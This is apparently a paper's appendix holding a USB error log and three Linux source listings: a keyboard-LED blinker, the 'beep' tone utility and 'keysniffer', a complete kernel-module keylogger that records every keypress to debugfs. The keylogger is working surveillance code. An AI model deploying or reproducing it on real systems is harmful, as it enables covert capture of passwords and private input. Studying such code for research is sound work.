[ 6046.840134] usb 1-1.5: new high-speed USB device number 28 using ehci-
    pci
[ 6047.256297] usb 1-1.5: device not accepting address 28, error -71
[ 6047.256526] hub 1-1:1.0: unable to enumerate USB device on port 5
[ 6047.504363] usb 1-1.5: new high-speed USB device number 29 using ehci-
    pci
[ 6047.588407] usb 1-1.5: device descriptor read/64, error -71
[ 6047.776461] usb 1-1.5: device descriptor read/64, error -71
[ 6047.952559] usb 1-1.5: new high-speed USB device number 30 using ehci-
    pci
[ 6048.036512] usb 1-1.5: device descriptor read/64, error -71
[ 6048.224608] usb 1-1.5: device descriptor read/64, error -71
[ 6048.400728] usb 1-1.5: new high-speed USB device number 31 using ehci-
    pci
[ 6048.816932] usb 1-1.5: device not accepting address 31, error -71
[ 6048.888915] usb 1-1.5: new high-speed USB device number 32 using ehci-
    pci
[ 6049.305157] usb 1-1.5: device not accepting address 32, error -71
[ 6049.305385] hub 1-1:1.0: unable to enumerate USB device on port 5
[ 6049.553229] usb 1-1.5: new high-speed USB device number 33 using ehci-
    pci
[ 6049.637292] usb 1-1.5: device descriptor read/64, error -71
[ 6049.825323] usb 1-1.5: device descriptor read/64, error -71
[ 6050.001409] usb 1-1.5: new high-speed USB device number 34 using ehci-
    pci
[ 6050.085391] usb 1-1.5: device descriptor read/64, error -71
[ 6050.273454] usb 1-1.5: device descriptor read/64, error -71
[ 6050.449550] usb 1-1.5: new high-speed USB device number 35 using ehci-
    pci
```

B Source Code

B.1 Blink LED

```c
/*
 *  *  kbleds.c - Blink keyboard leds until the module is unloaded.
 *    */

#include <linux/module.h>
//#include <linux/config.h>
#include <linux/init.h>
#include <linux/tty.h>      /* For fg_console, MAX_NR_CONSOLES */
#include <linux/vt_kern.h>  //for fg_console
#include <linux/kd.h>       /* For KDSETLED */
#include <linux/vt.h>
#include <linux/console_struct.h>   /* For vc_cons */

MODULE_DESCRIPTION("Example module illustrating the use of Keyboard LEDs.");
MODULE_AUTHOR("Daniele Paolo Scarpazza");
MODULE_LICENSE("GPL");

struct timer_list my_timer;
struct tty_driver *my_driver;
char kbledstatus = 0;

#define BLINK_DELAY   HZ/5
#define ALL_LEDS_ON   0x07
#define RESTORE_LEDS  0xFF

static void my_timer_func(unsigned long ptr)
{
    int *pstatus = (int *)ptr;

    if (*pstatus == ALL_LEDS_ON)
        *pstatus = RESTORE_LEDS;
    else
        *pstatus = ALL_LEDS_ON;

    ((my_driver->ops)->ioctl) (vc_cons[fg_console].d->port.tty, KDSETLED,
            *pstatus);

    my_timer.expires = jiffies + BLINK_DELAY;
    add_timer(&my_timer);
}

static int __init kbleds_init(void)
{
    int i;

    printk(KERN_INFO "kbleds: loading\n");
    printk(KERN_INFO "kbleds: fgconsole is %x\n", fg_console);
    for (i = 0; i < MAX_NR_CONSOLES; i++) {
       if (!vc_cons[i].d)
           break;
       printk(KERN_INFO "poet_atkm: console[%i/%i] #%i, tty %lx\n", i,
               MAX_NR_CONSOLES, vc_cons[i].d->vc_num,
```

```c
                (unsigned long)vc_cons[i].d->port.tty);
    }
    printk(KERN_INFO "kbleds: finished scanning consoles\n");

    my_driver = (vc_cons[fg_console].d->port.tty)->driver;
    printk(KERN_INFO "kbleds: tty driver magic %x\n", my_driver->magic);

    /*
     *   * Set up the LED blink timer the first time
     *       */
    init_timer(&my_timer);
    my_timer.function = my_timer_func;
    my_timer.data = (unsigned long)&kbledstatus;
    my_timer.expires = jiffies + BLINK_DELAY;
    add_timer(&my_timer);

    return 0;
}

static void __exit kbleds_cleanup(void)
{
    printk(KERN_INFO "kbleds: unloading...\n");
    del_timer(&my_timer);
    ((my_driver->ops)->ioctl) (vc_cons[fg_console].d->port.tty, KDSETLED,
            RESTORE_LEDS);
}

module_init(kbleds_init);
module_exit(kbleds_cleanup);
```

B.2 CPU Bell

```c
/*  beep - just what it sounds like, makes the console beep - but with
 * precision control.  See the man page for details.
 *
 * Try beep -h for command line args
 *
 * This code is copyright (C) Johnathan Nightingale, 2000.
 *
 * This code may distributed only under the terms of the GNU Public License
 * which can be found at http://www.gnu.org/copyleft or in the file COPYING
 * supplied with this code.
 *
 * This code is not distributed with warranties of any kind, including implied
 * warranties of merchantability or fitness for a particular use or ability to
 * breed pandas in captivity, it just can't be done.
 *
 * Bug me, I like it:  http://johnath.com/  or johnath@johnath.com
 */

#include <fcntl.h>
#include <getopt.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```c
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/kd.h>
#include <linux/input.h>

/* I don't know where this number comes from, I admit that freely.  A
   wonderful human named Raine M. Ekman used it in a program that played
   a tune at the console, and apparently, it's how the kernel likes its
   sound requests to be phrased.  If you see Raine, thank him for me.

   June 28, email from Peter Tirsek (peter at tirsek dot com):

   This number represents the fixed frequency of the original PC XT's
   timer chip (the 8254 AFAIR), which is approximately 1.193 MHz. This
   number is divided with the desired frequency to obtain a counter value,
   that is subsequently fed into the timer chip, tied to the PC speaker.
   The chip decreases this counter at every tick (1.193 MHz) and when it
   reaches zero, it toggles the state of the speaker (on/off, or in/out),
   resets the counter to the original value, and starts over. The end
   result of this is a tone at approximately the desired frequency. :)
*/
#ifndef CLOCK_TICK_RATE
#define CLOCK_TICK_RATE 1193180
#endif

#define VERSION_STRING "beep-1.3"
char *copyright =
"Copyright (C) Johnathan Nightingale, 2002.  "
"Use and Distribution subject to GPL.  "
"For information: http://www.gnu.org/copyleft/.";

/* Meaningful Defaults */
#define DEFAULT_FREQ       440.0 /* Middle A */
#define DEFAULT_LENGTH     200   /* milliseconds */
#define DEFAULT_REPS       1
#define DEFAULT_DELAY      100   /* milliseconds */
#define DEFAULT_END_DELAY  NO_END_DELAY
#define DEFAULT_STDIN_BEEP NO_STDIN_BEEP

/* Other Constants */
#define NO_END_DELAY    0
#define YES_END_DELAY   1

#define NO_STDIN_BEEP   0
#define LINE_STDIN_BEEP 1
#define CHAR_STDIN_BEEP 2

typedef struct beep_parms_t {
  float freq;     /* tone frequency (Hz)      */
  int length;     /* tone length    (ms)      */
  int reps;       /* # of repetitions         */
  int delay;      /* delay between reps  (ms) */
  int end_delay;  /* do we delay after last rep? */
  int stdin_beep; /* are we using stdin triggers?  We have three options:
                     - just beep and terminate (default)
                     - beep after a line of input
                     - beep after a character of input
```

```
             In the latter two cases, pass the text back out again,
             so that beep can be tucked appropriately into a text-
             processing pipe.
          */
  int verbose;    /* verbose output?          */
  struct beep_parms_t *next;  /* in case -n/--new is used. */
} beep_parms_t;

enum { BEEP_TYPE_CONSOLE, BEEP_TYPE_EVDEV };

/* Momma taught me never to use globals, but we need something the signal
   handlers can get at.*/
int console_fd = -1;
int console_type = BEEP_TYPE_CONSOLE;
char *console_device = NULL;


void do_beep(int freq) {
  int period = (freq != 0 ? (int)(CLOCK_TICK_RATE/freq) : freq);

  if(console_type == BEEP_TYPE_CONSOLE) {
    if(ioctl(console_fd, KIOCSOUND, period) < 0) {
      putchar('\a');  /* Output the only beep we can, in an effort to fall back on usefulness */
      perror("ioctl");
    }
  } else {
     /* BEEP_TYPE_EVDEV */
     struct input_event e;

     e.type = EV_SND;
     e.code = SND_TONE;
     e.value = freq;

     if(write(console_fd, &e, sizeof(struct input_event)) < 0) {
       putchar('\a'); /* See above */
       perror("write");
     }
  }
}


/* If we get interrupted, it would be nice to not leave the speaker beeping in
   perpetuity. */
void handle_signal(int signum) {

  if(console_device)
    free(console_device);

  switch(signum) {
  case SIGINT:
  case SIGTERM:
    if(console_fd >= 0) {
      /* Kill the sound, quit gracefully */
      do_beep(0);
      close(console_fd);
      exit(signum);
```

```
    } else {
      /* Just quit gracefully */
      exit(signum);
    }
  }
}

/* print usage and exit */
void usage_bail(const char *executable_name) {
  printf("Usage:\n%s [-f freq] [-l length] [-r reps] [-d delay] "
     "[-D delay] [-s] [-c] [--verbose | --debug] [-e device]\n",
     executable_name);
  printf("%s [Options...] [-n] [--new] [Options...] ... \n", executable_name);
  printf("%s [-h] [--help]\n", executable_name);
  printf("%s [-v] [-V] [--version]\n", executable_name);
  exit(1);
}


/* Parse the command line.  argv should be untampered, as passed to main.
 * Beep parameters returned in result, subsequent parameters in argv will over-
 * ride previous ones.
 *
 * Currently valid parameters:
 *  "-f <frequency in Hz>"
 *  "-l <tone length in ms>"
 *  "-r <repetitions>"
 *  "-d <delay in ms>"
 *  "-D <delay in ms>" (similar to -d, but delay after last repetition as well)
 *  "-s" (beep after each line of input from stdin, echo line to stdout)
 *  "-c" (beep after each char of input from stdin, echo char to stdout)
 *  "--verbose/--debug"
 *  "-h/--help"
 *  "-v/-V/--version"
 *  "-n/--new"
 *
 * March 29, 2002 - Daniel Eisenbud points out that c should be int, not char,
 * for correctness on platforms with unsigned chars.
 */
void parse_command_line(int argc, char **argv, beep_parms_t *result) {
  int c;

  struct option opt_list[7] = {{"help", 0, NULL, 'h'},
                   {"version", 0, NULL, 'V'},
                   {"new", 0, NULL, 'n'},
                   {"verbose", 0, NULL, 'X'},
                   {"debug", 0, NULL, 'X'},
                   {"device", 1, NULL, 'e'},
                   {0,0,0,0}};
  while((c = getopt_long(argc, argv, "f:l:r:d:D:schvVne:", opt_list, NULL))
    != EOF) {
    int argval = -1;    /* handle parsed numbers for various arguments */
    float argfreq = -1;
    switch(c) {
```

```
case 'f':  /* freq */
  if(!sscanf(optarg, "%f", &argfreq) || (argfreq >= 20000 /* ack! */) ||
 (argfreq <= 0))
usage_bail(argv[0]);
  else
if (result->freq != 0)
  fprintf(stderr, "WARNING: multiple -f values given, only last "
    "one is used.\n");
result->freq = argfreq;
  break;
case 'l' : /* length */
  if(!sscanf(optarg, "%d", &argval) || (argval < 0))
usage_bail(argv[0]);
  else
result->length = argval;
  break;
case 'r' : /* repetitions */
  if(!sscanf(optarg, "%d", &argval) || (argval < 0))
usage_bail(argv[0]);
  else
result->reps = argval;
  break;
case 'd' : /* delay between reps - WITHOUT delay after last beep*/
  if(!sscanf(optarg, "%d", &argval) || (argval < 0))
usage_bail(argv[0]);
  else {
result->delay = argval;
result->end_delay = NO_END_DELAY;
  }
  break;
case 'D' : /* delay between reps - WITH delay after last beep */
  if(!sscanf(optarg, "%d", &argval) || (argval < 0))
usage_bail(argv[0]);
  else {
result->delay = argval;
result->end_delay = YES_END_DELAY;
  }
  break;
case 's' :
  result->stdin_beep = LINE_STDIN_BEEP;
  break;
case 'c' :
  result->stdin_beep = CHAR_STDIN_BEEP;
  break;
case 'v' :
case 'V' : /* also --version */
  printf("%s\n",VERSION_STRING);
  exit(0);
  break;
case 'n' : /* also --new - create another beep */
  if (result->freq == 0)
result->freq = DEFAULT_FREQ;
  result->next = (beep_parms_t *)malloc(sizeof(beep_parms_t));
  result->next->freq        = 0;
  result->next->length      = DEFAULT_LENGTH;
  result->next->reps        = DEFAULT_REPS;
  result->next->delay       = DEFAULT_DELAY;
```

```c
      result->next->end_delay  = DEFAULT_END_DELAY;
      result->next->stdin_beep = DEFAULT_STDIN_BEEP;
      result->next->verbose    = result->verbose;
      result->next->next       = NULL;
      result = result->next; /* yes, I meant to do that. */
      break;
    case 'X' : /* --debug / --verbose */
      result->verbose = 1;
      break;
    case 'e' : /* also --device */
      console_device = strdup(optarg);
      break;
    case 'h' : /* notice that this is also --help */
    default :
      usage_bail(argv[0]);
    }
  }
  if (result->freq == 0)
    result->freq = DEFAULT_FREQ;
}

void play_beep(beep_parms_t parms) {
  int i; /* loop counter */

  if(parms.verbose == 1)
      fprintf(stderr, "[DEBUG] %d times %d ms beeps (%d delay between, "
    "%d delay after) @ %.2f Hz\n",
    parms.reps, parms.length, parms.delay, parms.end_delay, parms.freq);

  /* try to snag the console */
  if(console_device)
    console_fd = open(console_device, O_WRONLY);
  else
    if((console_fd = open("/dev/tty0", O_WRONLY)) == -1)
      console_fd = open("/dev/vc/0", O_WRONLY);

  if(console_fd == -1) {
    fprintf(stderr, "Could not open %s for writing\n",
      console_device != NULL ? console_device : "/dev/tty0 or /dev/vc/0");
    printf("\a");  /* Output the only beep we can, in an effort to fall back on usefulness */
    perror("open");
    exit(1);
  }

  if (ioctl(console_fd, EVIOCGSND(0)) != -1)
    console_type = BEEP_TYPE_EVDEV;
  else
    console_type = BEEP_TYPE_CONSOLE;

  /* Beep */
  for (i = 0; i < parms.reps; i++) {                    /* start beep */
    do_beep(parms.freq);
    /* Look ma, I'm not ansi C compatible! */
    usleep(1000*parms.length);                          /* wait...    */
    do_beep(0);                                         /* stop beep  */
    if(parms.end_delay || (i+1 < parms.reps))
       usleep(1000*parms.delay);                        /* wait...    */
```

```
  }                                                          /* repeat.    */

  close(console_fd);
}



int main(int argc, char **argv) {
  char sin[4096], *ptr;

  beep_parms_t *parms = (beep_parms_t *)malloc(sizeof(beep_parms_t));
  parms->freq       = 0;
  parms->length     = DEFAULT_LENGTH;
  parms->reps       = DEFAULT_REPS;
  parms->delay      = DEFAULT_DELAY;
  parms->end_delay  = DEFAULT_END_DELAY;
  parms->stdin_beep = DEFAULT_STDIN_BEEP;
  parms->verbose    = 0;
  parms->next       = NULL;

  signal(SIGINT, handle_signal);
  signal(SIGTERM, handle_signal);
  parse_command_line(argc, argv, parms);

  /* this outermost while loop handles the possibility that -n/--new has been
     used, i.e. that we have multiple beeps specified. Each iteration will
     play, then free() one parms instance. */
  while(parms) {
    beep_parms_t *next = parms->next;

    if(parms->stdin_beep) {
      /* in this case, beep is probably part of a pipe, in which case POSIX
     says stdin and out should be fuly buffered.  This however means very
     laggy performance with beep just twiddling it's thumbs until a buffer
     fills. Thus, kill the buffering.  In some situations, this too won't
     be enough, namely if we're in the middle of a long pipe, and the
     processes feeding us stdin are buffered, we'll have to wait for them,
     not much to  be done about that. */
      setvbuf(stdin, NULL, _IONBF, 0);
      setvbuf(stdout, NULL, _IONBF, 0);
      while(fgets(sin, 4096, stdin)) {
    if(parms->stdin_beep==CHAR_STDIN_BEEP) {
      for(ptr=sin;*ptr;ptr++) {
        putchar(*ptr);
        fflush(stdout);
        play_beep(*parms);
      }
    } else {
      fputs(sin, stdout);
      play_beep(*parms);
    }
      }
    } else {
      play_beep(*parms);
    }

    /* Junk each parms struct after playing it */
```

```
    free(parms);
    parms = next;
  }

  if(console_device)
    free(console_device);

  return EXIT_SUCCESS;
}
```

B.3 Keylogger

```
/*
 * A Linux kernel module to grab keycodes and log to debugfs
 *
 * Author: Arun Prakash Jana <engineerarun@gmail.com>
 * Copyright (C) 2015 by Arun Prakash Jana <engineerarun@gmail.com>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with keysniffer. If not, see <http://www.gnu.org/licenses/>.
 */

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/keyboard.h>
#include <linux/debugfs.h>
#include <linux/input.h>

#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
#define CHUNK_LEN 12 /* Encoded 'keycode shift' chunk length */
#define US  0 /* Type code for US character log */
#define HEX 1 /* Type code for hexadecimal log */
#define DEC 2 /* Type code for decimal log */

static int codes; /* Log type module parameter */

MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("Arun Prakash Jana <engineerarun@gmail.com>");
MODULE_VERSION("1.4");
MODULE_DESCRIPTION("Sniff and log keys pressed in the system to debugfs");

module_param(codes, int, 0644);
MODULE_PARM_DESC(codes, "log format (0:US keys (default), 1:hex keycodes, 2:dec keycodes)");

/* Declarations */
```

```c
static struct dentry *file;
static struct dentry *subdir;

static ssize_t keys_read(struct file *filp,
        char *buffer,
        size_t len,
        loff_t *offset);

static int keysniffer_cb(struct notifier_block *nblock,
        unsigned long code,
        void *_param);

/* Definitions */

/*
 * Keymap references:
 * https://www.win.tue.nl/~aeb/linux/kbd/scancodes-1.html
 * http://www.quadibloc.com/comp/scan.htm
 */
static const char *us_keymap[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},         //0-3
    {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},                   //4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                   //8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},          //12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                  //20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                  //24-27
    {"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"},
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                  //32-35
    {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},                  //36-39
    {"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"},   //40-43
    {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},                  //44-47
    {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},                  //48-51
    {".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"},
    {"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
    {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},          //60-63
    {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},          //64-67
    {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"},   //68-70
    {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, //71-73
    {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"},          //74-76
    {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},          //77-79
    {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, //80-82
    {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"},       //83-85
    {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"},      //86-89
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
    {"\0", "\0"}, {"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"},
    {"_PRTSCR_", "_PRTSCR_"}, {"_ALT_", "_ALT_"}, {"\0", "\0"},    //99-101
    {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"}, //102-104
    {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
    {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, //108-110
    {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, //111-114
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},       //115-118
    {"_PAUSE_", "_PAUSE_"},                                          //119
};

static size_t buf_pos;
static char keys_buf[BUF_LEN] = {0};

```

```
const struct file_operations keys_fops = {
    .owner = THIS_MODULE,
    .read = keys_read,
};

static ssize_t keys_read(struct file *filp,
             char *buffer,
             size_t len,
             loff_t *offset)
{
    return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
}

static struct notifier_block keysniffer_blk = {
    .notifier_call = keysniffer_cb,
};

void keycode_to_string(int keycode, int shift_mask, char *buf, int type)
{
    switch (type) {
    case US:
        if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE) {
            const char *us_key = (shift_mask == 1)
            ? us_keymap[keycode][1]
            : us_keymap[keycode][0];

            snprintf(buf, CHUNK_LEN, "%s", us_key);
        }
        break;
    case HEX:
        if (keycode > KEY_RESERVED && keycode < KEY_MAX)
            snprintf(buf, CHUNK_LEN, "%x %x", keycode, shift_mask);
        break;
    case DEC:
        if (keycode > KEY_RESERVED && keycode < KEY_MAX)
            snprintf(buf, CHUNK_LEN, "%d %d", keycode, shift_mask);
        break;
    }
}

/* Keypress callback */
int keysniffer_cb(struct notifier_block *nblock,
          unsigned long code,
          void *_param)
{
    size_t len;
    char keybuf[CHUNK_LEN] = {0};
    struct keyboard_notifier_param *param = _param;

    pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
         code, param->down, param->shift, param->value);

    if (!(param->down))
        return NOTIFY_OK;

    keycode_to_string(param->value, param->shift, keybuf, codes);
    len = strlen(keybuf);

```

```
    if (len < 1)
        return NOTIFY_OK;

    if ((buf_pos + len) >= BUF_LEN) {
        memset(keys_buf, 0, BUF_LEN);
        buf_pos = 0;
    }

    strncpy(keys_buf + buf_pos, keybuf, len);
    buf_pos += len;
    keys_buf[buf_pos++] = '\n';
    pr_debug("%s\n", keybuf);

    return NOTIFY_OK;
}

static int __init keysniffer_init(void)
{
    buf_pos = 0;

    if (codes < 0 || codes > 2)
        return -EINVAL;

    subdir = debugfs_create_dir("kisni", NULL);
    if (IS_ERR(subdir))
        return PTR_ERR(subdir);
    if (!subdir)
        return -ENOENT;

    file = debugfs_create_file("keys", 0400, subdir, NULL, &keys_fops);
    if (!file) {
        debugfs_remove_recursive(subdir);
        return -ENOENT;
    }

    register_keyboard_notifier(&keysniffer_blk);
    return 0;
}

static void __exit keysniffer_exit(void)
{
    unregister_keyboard_notifier(&keysniffer_blk);
    debugfs_remove_recursive(subdir);
}

module_init(keysniffer_init);
module_exit(keysniffer_exit);
```